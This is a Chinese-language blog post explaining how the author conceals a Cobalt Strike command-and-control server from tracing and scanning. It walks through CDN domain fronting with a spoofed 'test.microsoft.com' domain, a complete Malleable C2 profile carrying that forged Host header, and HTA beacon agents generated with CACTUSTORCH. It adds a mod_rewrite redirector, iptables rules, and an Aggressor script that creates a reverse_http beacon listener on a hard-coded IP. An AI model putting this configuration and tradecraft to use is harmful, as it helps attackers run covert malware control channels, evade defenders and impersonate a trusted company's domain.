简述

在开始之前,简单说下为什么混了一篇这样的文章。这几天又有个Cobalt strike的特征被找了出来,在不久之前也有类似的,其实这样的特征CS有不少,而本文就是记录我是如何利用简单的技术规避这些溯源风险的过程。我简单的认为C2的做好被动式(比如受控端与C2的交互泄露的地址等)以及主动式(比如这类主动式扫描C2特征指纹等)的信息隐藏。
可以理解本文就是专门记录我是如何不修改cobalt strike的class文件,做到隐藏其所有特征的流水账。

agent交互信息隐藏

关于这个点,已经有无数大牛用无数思路写了无数的文章了。
包括但不仅限于:

这里我使用一个成本最低、搭建周期最短的方法--Domain Fronting
关于其原理在Google上搜就会发现有很多博客介绍过,我简单赘述一下其原理。


相信不少朋友在做渗透测试的时候已经发现了,有时候修改HTTP包内的Host头字段,会将HTTP包发送给Host指向的那个域名。这就是因为这两个网站域名都是使用了同一家的CDN,而CDN就是通过判断Host头进行流量转发的。

很多CDN都存在这个特性,这里使用某云CDN进行测试,我找到了两个都是使用其的网站:

对yt.cmgou.cn进行请求,返回的报文的状态码为302。

接着,对i4.cctcdn.com请求,返回状态码为403。

接着我们对yt.cmgou.cn进行请求,并将Host头修改为i4.cctcdn.com

很明显,请求指向了i4.cctcdn.com

其实请求的对象只要是某云CDN就行,在实战中,最好别特别指定一个奇怪的域名,不然会发起一次DNS请求,虽然不会暴露teamserver信息,但会败露行踪。这里可以直接向cdn的ip请求,效果是一样的。

或者我们也可以直接借用某云的高信誉域名,选择域名中带有其特征的使用。

另外,某云CDN还存在一个特性。当源站IP为某云服务器的时候,跳过对加速域名的校验。这个地方我们就可以做些坏坏的事情了,比如伪造一个高信誉度的域名,这里我申请了一个域名test.microsoft.com。对了,这个是Vincent Yiu的发现,非常感谢他分享出来了:

这样以来,我们就在某云CDN中拥有了一个微软的域名。
拥有了域名后,我就要来配置Cobalt Strike了,前文说过了,我们得指定Host使得CDN把请求转发到我们的服务器,而CS正好就支持这一个需求。配置C2 profile,我这里直接使用并修改了harmj0y在github上的项目Malleable-C2-Profiles中的amazon.profile:

Download Link: https://pastebin.com/YyNF96ib

#  
# Amazon browsing traffic profile  
#  
# Author: @harmj0y  
#  

set sleeptime "5000";  
set jitter    "50";  
set maxdns    "255";  
set useragent "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko";  

# what else would we spawn to?  
set spawnto_x86 "%windir%\\syswow64\\notepad.exe";  
set spawnto_x64 "%windir%\\sysnative\\notepad.exe";  


http-get {  

    set uri "/s/ref=nb_sb_noss_1/167-3294888-0262949/field-keywords=books";  

    client {  

        header "Accept" "*/*";  
        header "Host" "test.microsoft.com";  

        metadata {  
            base64;  
            prepend "session-token=";  
            prepend "skin=noskin;";  
            append "csm-hit=s-24KU11BB82RZSYGJ3BDK|1419899012996";  
            header "Cookie";  
        }  
    }  

    server {  

        header "Server" "Server";  
        header "x-amz-id-1" "THKUYEZKCKPGY5T42PZT";  
        header "x-amz-id-2" "a21yZ2xrNDNtdGRsa212bGV3YW85amZuZW9ydG5rZmRuZ2tmZGl4aHRvNDVpbgo=";  
        header "X-Frame-Options" "SAMEORIGIN";  
        header "Content-Encoding" "gzip";  

        output {  
            print;  
        }  
    }  
}  

http-post {  

    set uri "/N4215/adj/MS.us.sr.aps";  

    client {  

        header "Accept" "*/*";  
        header "Content-Type" "text/xml";  
        header "X-Requested-With" "XMLHttpRequest";  
        header "Host" "test.microsoft.com";  

        parameter "sz" "160x600";  
        parameter "oe" "oe=ISO-8859-1;";  

        id {  
            parameter "sn";  
        }  

        parameter "s" "3717";  

        output {  
            base64;  
            print;  
        }  
    }  

    server {  

        header "Server" "Server";  
        header "x-amz-id-1" "THK9YEZJCKPGY5T42OZT";  
        header "x-amz-id-2" "a21JZ1xrNDNtdGRsa219bGV3YW85amZuZW9zdG5rZmRuZ2tmZGl4aHRvNDVpbgo=";  
        header "X-Frame-Options" "SAMEORIGIN";  
        header "x-ua-compatible" "IE=edge";  

        output {  
            print;  
        }  
    }  
}

这里讲Host修改成我们申请到的域名就行了,随后启动指定了Profile配置的teamserver。

添加一个Listener,Host使用CDN的地址,端口填写之前申请域名时选择的(80或者443):

测试是否指向了我们的服务器,可以看到,没毛病

接下来就该生成木马了,这个地方就存在一个巨坑了。CS缺省的payload generater进行第一次请求的时候并不会遵守C2 Profile中的设置,而是直接向Listener的host进行一次路径为四位随机字母的请求,从而判断服务是否可用,如果返回的并不是其期望的内容,则会直接异常...

如果是这样的话,我们得自己写一个generater,工作量其实不小Orz,但是这一切,Vincent Yiu又给做好了...再次感谢这位大牛。在他写的一个项目中CACTUSTORCH已经实现了这个需求,这个项目原意是生成脚本类的agent。其中他也重写了agent,而在这个agent中,并不会像cs这样进行一次存活确认,而是直接连接。

我直接选择Listener生成HTA类型的agent:

成功开启一个beacon连接:

这样,隐藏C2服务的目的就已经达到了。

HTTP Listener交互信息隐藏

再说回文章主题,本文是因为CS的服务端的特征太多而有感催发的。
原本是想着直接修改Class文件的,但是觉得太麻烦了,之后说不定又会出现类似的特征,我比较懒,想一步到位。
随后构思了一个方法,基于流量转发隐藏服务端,也就是利用Apache的mod_rewrite模块或者Nginx的反向代理通过判断特定特征然后将URL重写,通过特征判定的就指向服务端,反之跳转至其他网站,比如上文的test域名。

不过这个思路,在国外也已经玩烂了...有现成的脚本生成web容器配置信息,这里我使用cs2modrewrite

这里记得将C2SERVER设置为本地的端口,后面会解释为什么

将生成出来的内容放入web目录的.htaccess文件中。值得一提的是Apache默认没mod_rewrite模块的,自己开启一下。

随后设置一下iptable,进制端口65534的入口流量,这样除了服务器自身之外都无法访问teamserver的HTTP服务了。

登录teamserver,并添加http Listener,端口为之前设置的65534,host为cdn的host(其实应该可以随便写了)。随后再生成一个监听80端口的Listener,这里默认是不允许添加多个同类Listener的,但是通过我以前写的文章中的思路,可以patch掉这种限制(我首发的!骄傲!)。但是我懒,不想重编译打包一次了,简单阅读了cs源码后发现,这里限制的只是从UI中创建监听器,而其脚本中调用方法是不受影响的,遂编写一个简单的脚本:

# create an HTTP Beacon listener  
listener_create("CDN-Relay", "windows/beacon_http/reverse_http",  
        "116.211.153.234", 80,  
        "116.211.153.234");

当加载脚本时,就会自动添加一个http Listener了,但是不出意外的话是会有一个报错的。类似下图,就是告诉你端口被apache用了,但是这里不用管它,它只是用来生成agent的,我其实是准备自己写一个generater的,但是发现在这一块儿,cs封装的特别好...没有提供我们能控制传参的generater,只能通过已创建的Listener生成agent,贼烦!

使用CACTUSTORCH,选择80端口的http Listener生成agent。

结语

经过简单的设置,就已经杜绝了再被抓到应用层上的特征啦~并且也将C2置于层层保护之后。专业术语不是很懂,通篇都是大白话,请各位师傅多多谅解Orz。另外本文中无任何攻击行为,如有任何不当之处,烦请与我联系:system[at]lz1y.cn

参考

https://www.youtube.com/watch?v=01XwImjQYZs&t=332s
https://bluescreenofjeff.com/2016-06-28-cobalt-strike-http-c2-redirectors-with-apache-mod_rewrite/

点击收藏 | 1 关注 | 3
  • 动动手指,沙发就是你的了!
登录 后跟帖